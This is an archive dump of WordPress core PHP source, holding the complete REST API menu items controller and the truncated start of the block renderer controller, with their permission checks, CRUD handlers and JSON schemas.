endpoints/class-wp-rest-menu-items-controller.php000064400000100765151724720270016246 0ustar00<?php
/**
 * REST API: WP_REST_Menu_Items_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class to access nav items via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Posts_Controller
 */
class WP_REST_Menu_Items_Controller extends WP_REST_Posts_Controller {

	/**
	 * Gets the nav menu item, if the ID is valid.
	 *
	 * @since 5.9.0
	 *
	 * @param int $id Supplied ID.
	 * @return object|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_nav_menu_item( $id ) {
		$post = $this->get_post( $id );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		return wp_setup_nav_menu_item( $post );
	}

	/**
	 * Checks if a given request has access to read menu items.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$has_permission = parent::get_items_permissions_check( $request );

		if ( true !== $has_permission ) {
			return $has_permission;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Checks if a given request has access to read a menu item if they have access to edit them.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$permission_check = parent::get_item_permissions_check( $request );

		if ( true !== $permission_check ) {
			return $permission_check;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Checks whether the current user has read permission for the endpoint.
	 *
	 * This allows for any user that can `edit_theme_options` or edit any REST API available post type.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	protected function check_has_read_only_access( $request ) {
		/**
		 * Filters whether the current user has read access to menu items via the REST API.
		 *
		 * @since 6.8.0
		 *
		 * @param bool               $read_only_access Whether the current user has read access to menu items
		 *                                             via the REST API.
		 * @param WP_REST_Request    $request          Full details about the request.
		 * @param WP_REST_Controller $this             The current instance of the controller.
		 */
		$read_only_access = apply_filters( 'rest_menu_read_access', false, $request, $this );
		if ( $read_only_access ) {
			return true;
		}

		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view menu items.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Creates a single nav menu item.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) );
		}

		$prepared_nav_item = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_nav_item ) ) {
			return $prepared_nav_item;
		}
		$prepared_nav_item = (array) $prepared_nav_item;

		$nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false );
		if ( is_wp_error( $nav_menu_item_id ) ) {
			if ( 'db_insert_error' === $nav_menu_item_id->get_error_code() ) {
				$nav_menu_item_id->add_data( array( 'status' => 500 ) );
			} else {
				$nav_menu_item_id->add_data( array( 'status' => 400 ) );
			}

			return $nav_menu_item_id;
		}

		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		if ( is_wp_error( $nav_menu_item ) ) {
			$nav_menu_item->add_data( array( 'status' => 404 ) );

			return $nav_menu_item;
		}

		/**
		 * Fires after a single menu item is created or updated via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $nav_menu_item Inserted or updated menu item object.
		 * @param WP_REST_Request $request       Request object.
		 * @param bool            $creating      True when creating a menu item, false when updating.
		 */
		do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		$fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single menu item is completely created or updated via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $nav_menu_item Inserted or updated menu item object.
		 * @param WP_REST_Request $request       Request object.
		 * @param bool            $creating      True when creating a menu item, false when updating.
		 */
		do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, true );

		$post = get_post( $nav_menu_item_id );
		wp_after_insert_post( $post, false, null );

		$response = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $nav_menu_item_id ) ) );

		return $response;
	}

	/**
	 * Updates a single nav menu item.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$valid_check = $this->get_nav_menu_item( $request['id'] );
		if ( is_wp_error( $valid_check ) ) {
			return $valid_check;
		}
		$post_before       = get_post( $request['id'] );
		$prepared_nav_item = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_nav_item ) ) {
			return $prepared_nav_item;
		}

		$prepared_nav_item = (array) $prepared_nav_item;

		$nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false );

		if ( is_wp_error( $nav_menu_item_id ) ) {
			if ( 'db_update_error' === $nav_menu_item_id->get_error_code() ) {
				$nav_menu_item_id->add_data( array( 'status' => 500 ) );
			} else {
				$nav_menu_item_id->add_data( array( 'status' => 400 ) );
			}

			return $nav_menu_item_id;
		}

		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		if ( is_wp_error( $nav_menu_item ) ) {
			$nav_menu_item->add_data( array( 'status' => 404 ) );

			return $nav_menu_item;
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item->ID );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post          = get_post( $nav_menu_item_id );
		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		$fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, false );

		wp_after_insert_post( $post, true, $post_before );

		$response = $this->prepare_item_for_response( get_post( $nav_menu_item_id ), $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Deletes a single nav menu item.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error True on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$menu_item = $this->get_nav_menu_item( $request['id'] );
		if ( is_wp_error( $menu_item ) ) {
			return $menu_item;
		}

		// We don't support trashing for menu items.
		if ( ! $request['force'] ) {
			/* translators: %s: force=true */
			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menu items do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
		}

		$previous = $this->prepare_item_for_response( get_post( $request['id'] ), $request );

		$result = wp_delete_post( $request['id'], true );

		if ( ! $result ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) );
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/**
		 * Fires immediately after a single menu item is deleted via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $nav_menu_item Inserted or updated menu item object.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request $request       Request object.
		 */
		do_action( 'rest_delete_nav_menu_item', $menu_item, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single nav menu item for create or update.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Request object.
	 *
	 * @return object|WP_Error
	 */
	protected function prepare_item_for_database( $request ) {
		$menu_item_db_id = $request['id'];
		$menu_item_obj   = $this->get_nav_menu_item( $menu_item_db_id );
		// Need to persist the menu item data. See https://core.trac.wordpress.org/ticket/28138
		if ( ! is_wp_error( $menu_item_obj ) ) {
			// Correct the menu position if this was the first item. See https://core.trac.wordpress.org/ticket/28140
			$position = ( 0 === $menu_item_obj->menu_order ) ? 1 : $menu_item_obj->menu_order;

			$prepared_nav_item = array(
				'menu-item-db-id'       => $menu_item_db_id,
				'menu-item-object-id'   => $menu_item_obj->object_id,
				'menu-item-object'      => $menu_item_obj->object,
				'menu-item-parent-id'   => $menu_item_obj->menu_item_parent,
				'menu-item-position'    => $position,
				'menu-item-type'        => $menu_item_obj->type,
				'menu-item-title'       => $menu_item_obj->title,
				'menu-item-url'         => $menu_item_obj->url,
				'menu-item-description' => $menu_item_obj->description,
				'menu-item-attr-title'  => $menu_item_obj->attr_title,
				'menu-item-target'      => $menu_item_obj->target,
				'menu-item-classes'     => $menu_item_obj->classes,
				// Stored in the database as a string.
				'menu-item-xfn'         => explode( ' ', $menu_item_obj->xfn ),
				'menu-item-status'      => $menu_item_obj->post_status,
				'menu-id'               => $this->get_menu_id( $menu_item_db_id ),
			);
		} else {
			$prepared_nav_item = array(
				'menu-id'               => 0,
				'menu-item-db-id'       => 0,
				'menu-item-object-id'   => 0,
				'menu-item-object'      => '',
				'menu-item-parent-id'   => 0,
				'menu-item-position'    => 1,
				'menu-item-type'        => 'custom',
				'menu-item-title'       => '',
				'menu-item-url'         => '',
				'menu-item-description' => '',
				'menu-item-attr-title'  => '',
				'menu-item-target'      => '',
				'menu-item-classes'     => array(),
				'menu-item-xfn'         => array(),
				'menu-item-status'      => 'publish',
			);
		}

		$mapping = array(
			'menu-item-db-id'       => 'id',
			'menu-item-object-id'   => 'object_id',
			'menu-item-object'      => 'object',
			'menu-item-parent-id'   => 'parent',
			'menu-item-position'    => 'menu_order',
			'menu-item-type'        => 'type',
			'menu-item-url'         => 'url',
			'menu-item-description' => 'description',
			'menu-item-attr-title'  => 'attr_title',
			'menu-item-target'      => 'target',
			'menu-item-classes'     => 'classes',
			'menu-item-xfn'         => 'xfn',
			'menu-item-status'      => 'status',
		);

		$schema = $this->get_item_schema();

		foreach ( $mapping as $original => $api_request ) {
			if ( isset( $request[ $api_request ] ) ) {
				$prepared_nav_item[ $original ] = $request[ $api_request ];
			}
		}

		$taxonomy = get_taxonomy( 'nav_menu' );
		$base     = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
		// If menus submitted, cast to int.
		if ( ! empty( $request[ $base ] ) ) {
			$prepared_nav_item['menu-id'] = absint( $request[ $base ] );
		}

		// Nav menu title.
		if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$prepared_nav_item['menu-item-title'] = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$prepared_nav_item['menu-item-title'] = $request['title']['raw'];
			}
		}

		$error = new WP_Error();

		// Check if object id exists before saving.
		if ( ! $prepared_nav_item['menu-item-object'] ) {
			// If taxonomy, check if term exists.
			if ( 'taxonomy' === $prepared_nav_item['menu-item-type'] ) {
				$original = get_term( absint( $prepared_nav_item['menu-item-object-id'] ) );
				if ( empty( $original ) || is_wp_error( $original ) ) {
					$error->add( 'rest_term_invalid_id', __( 'Invalid term ID.' ), array( 'status' => 400 ) );
				} else {
					$prepared_nav_item['menu-item-object'] = get_term_field( 'taxonomy', $original );
				}
				// If post, check if post object exists.
			} elseif ( 'post_type' === $prepared_nav_item['menu-item-type'] ) {
				$original = get_post( absint( $prepared_nav_item['menu-item-object-id'] ) );
				if ( empty( $original ) ) {
					$error->add( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 400 ) );
				} else {
					$prepared_nav_item['menu-item-object'] = get_post_type( $original );
				}
			}
		}

		// If post type archive, check if post type exists.
		if ( 'post_type_archive' === $prepared_nav_item['menu-item-type'] ) {
			$post_type = $prepared_nav_item['menu-item-object'] ? $prepared_nav_item['menu-item-object'] : false;
			$original  = get_post_type_object( $post_type );
			if ( ! $original ) {
				$error->add( 'rest_post_invalid_type', __( 'Invalid post type.' ), array( 'status' => 400 ) );
			}
		}

		// Check if menu item is type custom, then title and url are required.
		if ( 'custom' === $prepared_nav_item['menu-item-type'] ) {
			if ( '' === $prepared_nav_item['menu-item-title'] ) {
				$error->add( 'rest_title_required', __( 'The title is required when using a custom menu item type.' ), array( 'status' => 400 ) );
			}
			if ( empty( $prepared_nav_item['menu-item-url'] ) ) {
				$error->add( 'rest_url_required', __( 'The url is required when using a custom menu item type.' ), array( 'status' => 400 ) );
			}
		}

		if ( $error->has_errors() ) {
			return $error;
		}

		// The xfn and classes properties are arrays, but passed to wp_update_nav_menu_item as a string.
		foreach ( array( 'menu-item-xfn', 'menu-item-classes' ) as $key ) {
			$prepared_nav_item[ $key ] = implode( ' ', $prepared_nav_item[ $key ] );
		}

		// Only draft / publish are valid post status for menu items.
		if ( 'publish' !== $prepared_nav_item['menu-item-status'] ) {
			$prepared_nav_item['menu-item-status'] = 'draft';
		}

		$prepared_nav_item = (object) $prepared_nav_item;

		/**
		 * Filters a menu item before it is inserted via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $prepared_nav_item An object representing a single menu item prepared
		 *                                           for inserting or updating the database.
		 * @param WP_REST_Request $request           Request object.
		 */
		return apply_filters( 'rest_pre_insert_nav_menu_item', $prepared_nav_item, $request );
	}

	/**
	 * Prepares a single nav menu item output for response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Base fields for every post.
		$fields    = $this->get_fields_for_response( $request );
		$menu_item = $this->get_nav_menu_item( $item->ID );
		$data      = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $menu_item->ID;
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}

		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $menu_item->title;
		}

		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );

			/** This filter is documented in wp-includes/post-template.php */
			$title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID );

			$data['title']['rendered'] = $title;

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
		}

		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = $menu_item->post_status;
		}

		if ( rest_is_field_included( 'url', $fields ) ) {
			$data['url'] = $menu_item->url;
		}

		if ( rest_is_field_included( 'attr_title', $fields ) ) {
			// Same as post_excerpt.
			$data['attr_title'] = $menu_item->attr_title;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			// Same as post_content.
			$data['description'] = $menu_item->description;
		}

		if ( rest_is_field_included( 'type', $fields ) ) {
			$data['type'] = $menu_item->type;
		}

		if ( rest_is_field_included( 'type_label', $fields ) ) {
			$data['type_label'] = $menu_item->type_label;
		}

		if ( rest_is_field_included( 'object', $fields ) ) {
			$data['object'] = $menu_item->object;
		}

		if ( rest_is_field_included( 'object_id', $fields ) ) {
			// It is stored as a string, but should be exposed as an integer.
			$data['object_id'] = absint( $menu_item->object_id );
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			// Same as post_parent, exposed as an integer.
			$data['parent'] = (int) $menu_item->menu_item_parent;
		}

		if ( rest_is_field_included( 'menu_order', $fields ) ) {
			// Same as post_parent, exposed as an integer.
			$data['menu_order'] = (int) $menu_item->menu_order;
		}

		if ( rest_is_field_included( 'target', $fields ) ) {
			$data['target'] = $menu_item->target;
		}

		if ( rest_is_field_included( 'classes', $fields ) ) {
			$data['classes'] = (array) $menu_item->classes;
		}

		if ( rest_is_field_included( 'xfn', $fields ) ) {
			$data['xfn'] = array_map( 'sanitize_html_class', explode( ' ', $menu_item->xfn ) );
		}

		if ( rest_is_field_included( 'invalid', $fields ) ) {
			$data['invalid'] = (bool) $menu_item->_invalid;
		}

		if ( rest_is_field_included( 'meta', $fields ) ) {
			$data['meta'] = $this->meta->get_value( $menu_item->ID, $request );
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( rest_is_field_included( $base, $fields ) ) {
				$terms = get_the_terms( $item, $taxonomy->name );
				if ( ! is_array( $terms ) ) {
					continue;
				}
				$term_ids = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array();
				if ( 'nav_menu' === $taxonomy->name ) {
					$data[ $base ] = $term_ids ? array_shift( $term_ids ) : 0;
				} else {
					$data[ $base ] = $term_ids;
				}
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );

			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions( $item, $request );

				$self = $links['self']['href'];

				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		/**
		 * Filters the menu item data for a REST API response.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response  The response object.
		 * @param object           $menu_item Menu item setup by {@see wp_setup_nav_menu_item()}.
		 * @param WP_REST_Request  $request   Request object.
		 */
		return apply_filters( 'rest_prepare_nav_menu_item', $response, $menu_item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		$links     = parent::prepare_links( $post );
		$menu_item = $this->get_nav_menu_item( $post->ID );

		if ( empty( $menu_item->object_id ) ) {
			return $links;
		}

		$path = '';
		$type = '';
		$key  = $menu_item->type;
		if ( 'post_type' === $menu_item->type ) {
			$path = rest_get_route_for_post( $menu_item->object_id );
			$type = get_post_type( $menu_item->object_id );
		} elseif ( 'taxonomy' === $menu_item->type ) {
			$path = rest_get_route_for_term( $menu_item->object_id );
			$type = get_term_field( 'taxonomy', $menu_item->object_id );
		}

		if ( $path && $type ) {
			$links['https://api.w.org/menu-item-object'][] = array(
				'href'       => rest_url( $path ),
				$key         => $type,
				'embeddable' => true,
			);
		}

		return $links;
	}

	/**
	 * Retrieves Link Description Objects that should be added to the Schema for the nav menu items collection.
	 *
	 * @since 5.9.0
	 *
	 * @return array
	 */
	protected function get_schema_links() {
		$links   = parent::get_schema_links();
		$href    = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" );
		$links[] = array(
			'rel'          => 'https://api.w.org/menu-item-object',
			'title'        => __( 'Get linked object.' ),
			'href'         => $href,
			'targetSchema' => array(
				'type'       => 'object',
				'properties' => array(
					'object' => array(
						'type' => 'integer',
					),
				),
			),
		);

		return $links;
	}

	/**
	 * Retrieves the nav menu item's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema' => 'http://json-schema.org/draft-04/schema#',
			'title'   => $this->post_type,
			'type'    => 'object',
		);

		$schema['properties']['title'] = array(
			'description' => __( 'The title for the object.' ),
			'type'        => array( 'string', 'object' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'properties'  => array(
				'raw'      => array(
					'description' => __( 'Title for the object, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
				'rendered' => array(
					'description' => __( 'HTML title for the object, transformed for display.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$schema['properties']['id'] = array(
			'description' => __( 'Unique identifier for the object.' ),
			'type'        => 'integer',
			'default'     => 0,
			'minimum'     => 0,
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['type_label'] = array(
			'description' => __( 'The singular label used to describe this type of menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'readonly'    => true,
		);

		$schema['properties']['type'] = array(
			'description' => __( 'The family of objects originally represented, such as "post_type" or "taxonomy".' ),
			'type'        => 'string',
			'enum'        => array( 'taxonomy', 'post_type', 'post_type_archive', 'custom' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'default'     => 'custom',
		);

		$schema['properties']['status'] = array(
			'description' => __( 'A named status for the object.' ),
			'type'        => 'string',
			'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
			'default'     => 'publish',
			'context'     => array( 'view', 'edit', 'embed' ),
		);

		$schema['properties']['parent'] = array(
			'description' => __( 'The ID for the parent of the object.' ),
			'type'        => 'integer',
			'minimum'     => 0,
			'default'     => 0,
			'context'     => array( 'view', 'edit', 'embed' ),
		);

		$schema['properties']['attr_title'] = array(
			'description' => __( 'Text for the title attribute of the link element for this menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['classes'] = array(
			'description' => __( 'Class names for the link element of this menu item.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => static function ( $value ) {
					return array_map( 'sanitize_html_class', wp_parse_list( $value ) );
				},
			),
		);

		$schema['properties']['description'] = array(
			'description' => __( 'The description of this menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_text_field',
			),
		);

		$schema['properties']['menu_order'] = array(
			'description' => __( 'The DB ID of the nav_menu_item that is this item\'s menu parent, if any, otherwise 0.' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'integer',
			'minimum'     => 1,
			'default'     => 1,
		);

		$schema['properties']['object'] = array(
			'description' => __( 'The type of object originally represented, such as "category", "post", or "attachment".' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'string',
			'arg_options' => array(
				'sanitize_callback' => 'sanitize_key',
			),
		);

		$schema['properties']['object_id'] = array(
			'description' => __( 'The database ID of the original object this menu item represents, for example the ID for posts or the term_id for categories.' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'integer',
			'minimum'     => 0,
			'default'     => 0,
		);

		$schema['properties']['target'] = array(
			'description' => __( 'The target attribute of the link element for this menu item.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit', 'embed' ),
			'enum'        => array(
				'_blank',
				'',
			),
		);

		$schema['properties']['url'] = array(
			'description' => __( 'The URL to which this menu item points.' ),
			'type'        => 'string',
			'format'      => 'uri',
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'validate_callback' => static function ( $url ) {
					if ( '' === $url ) {
						return true;
					}

					if ( sanitize_url( $url ) ) {
						return true;
					}

					return new WP_Error(
						'rest_invalid_url',
						__( 'Invalid URL.' )
					);
				},
			),
		);

		$schema['properties']['xfn'] = array(
			'description' => __( 'The XFN relationship expressed in the link of this menu item.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
			'context'     => array( 'view', 'edit', 'embed' ),
			'arg_options' => array(
				'sanitize_callback' => static function ( $value ) {
					return array_map( 'sanitize_html_class', wp_parse_list( $value ) );
				},
			),
		);

		$schema['properties']['invalid'] = array(
			'description' => __( 'Whether the menu item represents an object that no longer exists.' ),
			'context'     => array( 'view', 'edit', 'embed' ),
			'type'        => 'boolean',
			'readonly'    => true,
		);

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base                          = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
			$schema['properties'][ $base ] = array(
				/* translators: %s: taxonomy name */
				'description' => sprintf( __( 'The terms assigned to the object in the %s taxonomy.' ), $taxonomy->name ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'context'     => array( 'view', 'edit' ),
			);

			if ( 'nav_menu' === $taxonomy->name ) {
				$schema['properties'][ $base ]['type'] = 'integer';
				unset( $schema['properties'][ $base ]['items'] );
			}
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$schema_links = $this->get_schema_links();

		if ( $schema_links ) {
			$schema['links'] = $schema_links;
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for the nav menu items collection.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['menu_order'] = array(
			'description' => __( 'Limit result set to posts with a specific menu_order value.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'asc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by object attribute.' ),
			'type'        => 'string',
			'default'     => 'menu_order',
			'enum'        => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
				'menu_order',
			),
		);
		// Change default to 100 items.
		$query_params['per_page']['default'] = 100;

		return $query_params;
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and prepares
	 * them for WP_Query.
	 *
	 * @since 5.9.0
	 *
	 * @param array           $prepared_args Optional. Prepared WP_Query arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Full details about the request.
	 * @return array Items query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = parent::prepare_items_query( $prepared_args, $request );

		// Map to proper WP_Query orderby param.
		if ( isset( $query_args['orderby'], $request['orderby'] ) ) {
			$orderby_mappings = array(
				'id'            => 'ID',
				'include'       => 'post__in',
				'slug'          => 'post_name',
				'include_slugs' => 'post_name__in',
				'menu_order'    => 'menu_order',
			);

			if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
				$query_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
			}
		}

		$query_args['update_menu_item_cache'] = true;

		return $query_args;
	}

	/**
	 * Gets the id of the menu that the given menu item belongs to.
	 *
	 * @since 5.9.0
	 *
	 * @param int $menu_item_id Menu item id.
	 * @return int
	 */
	protected function get_menu_id( $menu_item_id ) {
		$menu_ids = wp_get_post_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) );
		$menu_id  = 0;
		if ( $menu_ids && ! is_wp_error( $menu_ids ) ) {
			$menu_id = array_shift( $menu_ids );
		}

		return $menu_id;
	}
}
endpoints/class-wp-rest-block-renderer-controller.php000060400000013312151724720270017044 0ustar00<?php
/**
 * Block Renderer REST API: WP_REST_Block_Renderer_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Controller which provides REST endpoint for rendering a block.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Renderer_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-renderer';
	}

	/**
	 * Registers the necessary REST API routes, one for each dynamic block.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<name>[a-z0-9-]+/[a-z0-9-]+)',
			array(
				'args'   => array(
					'name' => array(
						'description' => __( 'Unique registered name for the block.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => array( WP_REST_Server::READABLE, WP_REST_Server::CREATABLE ),
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context'    => $this->get_context_param( array( 'default' => 'view' ) ),
						'attributes' => array(
